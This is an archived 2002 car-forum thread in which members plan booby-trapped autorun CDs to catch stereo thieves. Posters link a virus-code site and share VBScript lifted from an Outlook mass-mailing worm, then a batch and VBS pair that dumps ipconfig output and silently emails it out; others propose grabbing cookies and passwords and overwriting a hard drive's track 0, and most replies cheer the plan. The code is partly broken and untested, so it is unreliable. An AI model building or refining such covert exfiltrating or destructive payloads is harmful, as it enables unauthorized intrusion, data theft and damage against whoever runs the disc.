Acura Integra Type-R All Integra Type R Discussions

Theft

Thread Tools
 
Search this Thread
 
Old Aug 5, 2002 | 10:18 AM
  #1  
CheezeFrog's Avatar
Thread Starter
Honda-Tech Member
 
Joined: Nov 2000
Posts: 1,678
Likes: 1
From: Phoenix, AZ
Default Theft (Possible way to get back at them)

I got a new MP3 player for my Civic and was thinking how cool it is that I can fit all of my music on 4 or 5 CD's instead of having 4 dozen "normal" CD's. Then I got a hairbrained idea about making all of my CD's "autorun" CD's. When inserted into a CD ROM drive, it automatically loads a program -- usually a Setup/Install type of program. But what if I put a virus into all my autorun MP3 CD's that I carry in my car? Is there a virus/trojan that will automatically fire off the users IP, eMail address, and all that other info back to my eMail addy without the user knowing? Anybody good at coding? I figure I could label a few CD's as "XXX P0rn" or something so they'd be sure to load it onto their computer


[Modified by CheezeFrog, 11:25 AM 8/5/2002]
Reply
Old Aug 5, 2002 | 10:19 AM
  #2  
dLo GSR-stolen-now-WRX's Avatar
Member
 
Joined: Feb 2002
Posts: 7,351
Likes: 0
From: kyoto sangyo daigaku, kyoto, japan, sometimes bay area CA
Default Re: Theft (CheezeFrog)

that's a pretty clever idea
Reply
Old Aug 5, 2002 | 10:32 AM
  #3  
jond's Avatar
Honda-Tech Member
 
Joined: Oct 2000
Posts: 4,406
Likes: 0
From: Brooklyn, NY
Default Re: Theft (CheezeFrog)

http://vx.netlux.org/dat/vct.shtml


A modified version of this should work to get the email off:

Function doMail()

On Error Resume Next
Set OutlookApp = CreateObject("Ou.tlook.Application")
If OutlookApp = "Outlook" Then
Set MAPINameSpace = OutlookApp.GetNameSpace("MAPI")
Set AddressLists = MXPINameSpace.Ad.dressLists
For Each address In AddressLists
If address.AddressEntries.Count <> 0 Then
entryCount = address.Addr.essEntries.Count
For i = 1 To entryCount
Set newItem = OutlookApp.CreateItem(0)
Set currentAddress = address.Ad.dressEntries(i)
newItem.To = currentAddress.Add.ress
newItem.Subject = "Here you have, ;o)"
newItem.Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & ""
set attachments = newItem.Attachments
attachments.Add FileSystemObject.GetSpeci.alFolder(0) & "\abc"
newItem.DeleteAfterSubmit = True
If newItem.To <> "" Then
newItem.Send
WScriptShell.regwrite "HKCU\software\OnTheFly\m.ailed", "1"
End If
Next
End If
Next
end if

End Function

[Modified by jond, 2:37 PM 8/5/2002]


[Modified by jond, 7:49 PM 8/5/2002]
Reply
Old Aug 5, 2002 | 10:33 AM
  #4  
CheezeFrog's Avatar
Thread Starter
Honda-Tech Member
 
Joined: Nov 2000
Posts: 1,678
Likes: 1
From: Phoenix, AZ
Default Re: Theft (jond)

Oh yeah I forgot to add that this (theoretically) would work on any burned CD, not just those written for MP3 players. Oh yeah and it'd be cool for the trojan program to send all of the users cookie files as well so you'd know what msg boards they're on and have their passwords.
Reply
Old Aug 5, 2002 | 10:59 AM
  #5  
CheezeFrog's Avatar
Thread Starter
Honda-Tech Member
 
Joined: Nov 2000
Posts: 1,678
Likes: 1
From: Phoenix, AZ
Default Re: Theft (jond)

jond,

Sweet thanks man. I'm not sure what I'm supposed to do with that... compile it? The trojan would probably have to be in the form of a .com or .exe for it to kick off from an Autorun event.
Reply
Old Aug 5, 2002 | 12:21 PM
  #6  
B2FiNiTY's Avatar
Honda-Tech Member
iTrader: (2)
 
Joined: Mar 2001
Posts: 38,367
Likes: 1
Default Re: Theft (CheezeFrog)

Very interesting idea to battle fire with fire.
Reply
Old Aug 5, 2002 | 12:23 PM
  #7  
Jason's Avatar
Member
 
Joined: Apr 2001
Posts: 4,432
Likes: 0
From: Toms River, NJ, USA
Default Re: Theft (CheezeFrog)

definitely a good idea Cheeze...
Reply
Old Aug 5, 2002 | 01:33 PM
  #8  
CheezeFrog's Avatar
Thread Starter
Honda-Tech Member
 
Joined: Nov 2000
Posts: 1,678
Likes: 1
From: Phoenix, AZ
Default Re: Theft (jond)

jond,

I don't know nothin about nothin when it comes to scripting, but from that code you posted, it looks like it grabs all of the eMail addy's in the users address book. I was thinking more along the lines of just grabbing the users eMail addy.

And maybe doing a few absolute writes to the users track 0 info on their HD. Maybe fill it with text that says "f**k you thief!"
Reply
Old Aug 5, 2002 | 01:40 PM
  #9  
doe's Avatar
doe
Junior Member
 
Joined: Mar 2001
Posts: 281
Likes: 0
From: southern california
Default Re: Theft (CheezeFrog)

wow, that's an awesome idea
Reply
Old Aug 5, 2002 | 01:41 PM
  #10  
STEALTHMODECOUPE's Avatar
Honda-Tech Member
 
Joined: May 2002
Posts: 2,913
Likes: 1
From: 2003 Cobra
Default Re: Theft (CheezeFrog)

pretty cool idea there
Reply
Old Aug 5, 2002 | 01:47 PM
  #11  
jond's Avatar
Honda-Tech Member
 
Joined: Oct 2000
Posts: 4,406
Likes: 0
From: Brooklyn, NY
Default Re: Theft (CheezeFrog)

jond,

I don't know nothin about nothin when it comes to scripting, but from that code you posted, it looks like it grabs all of the eMail addy's in the users address book.
Yeah, it does. I was busy as crap today, and didn't look into it but of a sec.
Without testing, something like this maybe?
You would also need something to get the IP, and set it as a variable.
If you get this working, let me know, and I can probably help you with that.


Function doMail()
On Error Resume Next
Set OutlookApp = CreateObject("Outlook.Application")
If OutlookApp = "Outlook" Then
Set MAPINameSpace = OutlookApp.GetNameSpace("MAPI")

newItem.To = youremail\@yourdomain.com
newItem.Subject = "I got your CDs"
newItem.Body = "Hi:" My IP Address is: ""

newItem.DeleteAfterSubmit = True
If newItem.To <> "" Then
newItem.Send
End Function
Reply
Old Aug 5, 2002 | 01:50 PM
  #12  
CheezeFrog's Avatar
Thread Starter
Honda-Tech Member
 
Joined: Nov 2000
Posts: 1,678
Likes: 1
From: Phoenix, AZ
Default Re: Theft (jond)

You would also need something to get the IP, and set it as a variable.
Hmm, can't you just run Winipcfg.exe and output to a text file? Or if NT-based, run ipconfig.exe and output to a text file as well? Then just send that text file in the eMail you send to yourself Kills 2 birds with 1 stone -- you'd get his eMail addy and IP in one shot.
Reply
Old Aug 5, 2002 | 01:53 PM
  #13  
ZygSpeed's Avatar
Honda-Tech Member
 
Joined: Aug 2000
Posts: 12,092
Likes: 2
Default Re: Theft (jond)

That's some good stuf Jon.
I as just thinking a few hours ago how I need to find a new hobby after I finish building my ITR and CRXs.
Reply
Old Aug 5, 2002 | 01:55 PM
  #14  
bussetech's Avatar
New User
 
Joined: Nov 2000
Posts: 244
Likes: 0
Default Re: Theft (CheezeFrog)

Hmm, can't you just run Winipcfg.exe and output to a text file?
That won't be any good if he's NATted behind a firewall ... run a tracert to a txt file and you'll see who's upstream, ie. where the NAT's coming out of.

This is a very slick idea ... wish I had the time to code it!
Reply
Old Aug 5, 2002 | 03:20 PM
  #15  
jond's Avatar
Honda-Tech Member
 
Joined: Oct 2000
Posts: 4,406
Likes: 0
From: Brooklyn, NY
Default Re: Theft (bussetech)

Heres what I have so far. I dont have outlook here, so I cant fully test, but I think it might work.

###Note, I'm not a programmer, and take no responsibility if this blows up your computer, or gets you jail time.###

Theres 2 files. The first is a batch file which would be the one that gets executed. It calls the vbs script when ready.

busted.bat
----------------------------------------
@ECHO OFF
ipconfig /all > c:\busted.txt
start busted.vbs
EXIT
-------------------------------------------


busted.vbs
-------------------------------------------
'The catches CD theives
On Error Resume Next
set objScript = Server.CreateObject("Wscript.Shell")
if WScriptShell.regread ("HKCU\software\OnTheFly\mailed") <> "1" then
doMail()
end if
do
Loop
Function doMail()
On Error Resume Next
Set OutlookApp = CreateObject("Outlook.Application")
If OutlookApp = "Outlook" Then
Set MAPINameSpace = OutlookApp.GetNameSpace("MAPI")
newItem.To = youremail\yourdomain.com
newItem.Subject = "I got your CDs"
newItem.Body = "Hi: My IP Address is: "
set attachments = newItem.Attachments
attachments.Add FileSystemObject.GetSpecialFolder(0) & "c:\busted.txt"
newItem.DeleteAfterSubmit = True
newItem.Send
WScriptShell.regwrite "HKCU\software\OnTheFly\mailed", "1"
End If
End Function
-------------------------------------------------------





[Modified by jond, 7:21 PM 8/5/2002]
Reply
Old Aug 5, 2002 | 07:08 PM
  #16  
Renegade's Avatar
Honda-Tech Member
 
Joined: Sep 2001
Posts: 1,863
Likes: 1
From: Cali
Default Re: Theft (jond)

like I always say "you can do anything with CODE"
Reply
Old Aug 5, 2002 | 07:43 PM
  #17  
jmb's Avatar
jmb
Junior Member
 
Joined: Apr 2001
Posts: 264
Likes: 0
From: Chicago, IL
Default Re: Theft (98401R)

anything, as long as the code is running in the right place. lets hope the bad guy is using a PC and not a Mac. using Outlook instead by Eudora/Pegasus also helps.
Reply
Old Aug 5, 2002 | 07:46 PM
  #18  
ITR21's Avatar
 
Joined: Jun 2002
Posts: 1,320
Likes: 0
From: Toronto, ON, canada
Default Re: Theft (jmb)

Reply
Old Aug 5, 2002 | 08:05 PM
  #19  
Floyd's Avatar
Trial User
 
Joined: Oct 2000
Posts: 1,651
Likes: 0
From: Darkside,, Moon
Default Re: Theft (ITR21)

Just curious... What will the perp see on screen while this script runs? Does he see Outlook open and all that, or does it run in the background?
Reply
Old Aug 5, 2002 | 09:34 PM
  #20  
FyrFytr's Avatar
Member
 
Joined: Feb 2002
Posts: 5,790
Likes: 0
From: Richmond, VA
Default Re: Theft (Floyd)

Wishes he had a friggin' clue as to what all the techobabble means.
Reply
Old Aug 5, 2002 | 09:43 PM
  #21  
Rguy's Avatar
Voted Best Looking GDD Poster
25 Year Member
Community Builder
Community Influencer
Active Streak: 60 Days
 
Joined: Mar 2001
Posts: 6,212
Likes: 0
From: NJ
Default Re: Theft (FyrFytr)

Wishes he had a friggin' clue as to what all the techobabble means.
Means when someone steals your stuff, you have a kinda of e-lojack system which doesnt retrieve your car, but instead send you all their info from their computer so that you can hunt/track them down and get your self some justice.
Reply
Old Aug 6, 2002 | 04:56 AM
  #22  
apexii's Avatar
Honda-Tech Member
 
Joined: Apr 2000
Posts: 2,264
Likes: 0
From: EDITED, PA
Default Re: Theft (CheezeFrog)

You would also need something to get the IP, and set it as a variable.Hmm, can't you just run Winipcfg.exe and output to a text file? Or if NT-based, run ipconfig.exe and output to a text file as well? Then just send that text file in the eMail you send to yourself Kills 2 birds with 1 stone -- you'd get his eMail addy and IP in one shot.
Bingo. I'm going to work on this today.
Reply
Old Aug 6, 2002 | 06:26 AM
  #23  
brinks's Avatar
Honda-Tech Member
 
Joined: Feb 2000
Posts: 870
Likes: 1
From: NY
Default Re: Theft (CheezeFrog)

You would also need something to get the IP, and set it as a variable.Hmm, can't you just run Winipcfg.exe and output to a text file? Or if NT-based, run ipconfig.exe and output to a text file as well? Then just send that text file in the eMail you send to yourself Kills 2 birds with 1 stone -- you'd get his eMail addy and IP in one shot.
Might try this as a .bat file, but if they are behind a firewall then you are SOL

@echo.
@ipconfig | find "IP Address"
@echo.
@pause

this is a useful .bat to make if you have XP, put it in the windows folder and just type ip at the run prompt to see the machine's ip.


[Modified by brinks, 10:28 AM 8/6/2002]
Reply
Old Aug 6, 2002 | 06:42 AM
  #24  
apexii's Avatar
Honda-Tech Member
 
Joined: Apr 2000
Posts: 2,264
Likes: 0
From: EDITED, PA
Default Re: Theft (brinks)

I hate to burst some bubbles, but microsoft is one step ahead of us. VBS cannot be used to start outlook. Outlook will not allow it. It would be rare to find a person not patched.

See here for more info: http://www.slipstick.com/outlook/esecup.htm

You could, however, use a small command-line mailer, such as BLAT. It would be irrelevant as to which OS or email client you are using. very small too.

Reply
Old Aug 6, 2002 | 06:54 AM
  #25  
CheezeFrog's Avatar
Thread Starter
Honda-Tech Member
 
Joined: Nov 2000
Posts: 1,678
Likes: 1
From: Phoenix, AZ
Default Re: Theft (apexii)

Yeah that's what I was afraid of. I'm in over my head right now because I can barely write a DOS batch file -- anything much beyond "prompt $p$g" and I'm lost Can anybody take this ball and run with it? I know we got some pretty sharp people in this forum (well, compared to me anyway).
Reply



All times are GMT -8. The time now is 12:27 AM.